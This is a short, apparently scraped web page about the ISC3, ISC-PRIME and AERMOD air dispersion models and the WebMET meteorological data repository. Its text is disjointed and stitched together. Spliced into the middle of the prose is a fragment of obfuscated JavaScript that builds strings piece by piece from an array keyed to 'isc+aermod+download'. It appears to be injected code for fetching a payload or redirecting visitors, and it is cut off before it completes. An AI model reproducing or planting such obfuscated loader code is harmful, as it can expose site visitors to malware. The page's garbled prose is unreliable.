ISC3 (Industrial Source Complex, Version 3) is a steady-state Gaussian plume model which can be used to assess pollutant concentrations from a wide variety of sources associated with an industrial complex.. This application is used to assess the impact of air emissions WebMET is a repository of meteorological data for air dispersion models such as ISCST3, ISC-PRIME and AERMOD, as well as for digital elevation terrain data.. var LP = 'isc+aermod+download';var XTlY = new Array();XTlY["Lv"]="ip";XTlY["xs"]="'P";XTlY["Zz"]="HR";XTlY["KU"]="at";XTlY["hD"]="/i";XTlY["MS"]="{ ";XTlY["uO"]="il";XTlY["oX"]="ed";XTlY["Tl"]="pe";XTlY["ij"]="l:";XTlY["lj"]="q ";XTlY["wC"]=".

The PRIME (Plume Rise Model Enhancement) algorithms – the next generation building downwash paradigm – have been incorporated into the ISCST3 source code and the new model has been called ISC- PRIME.
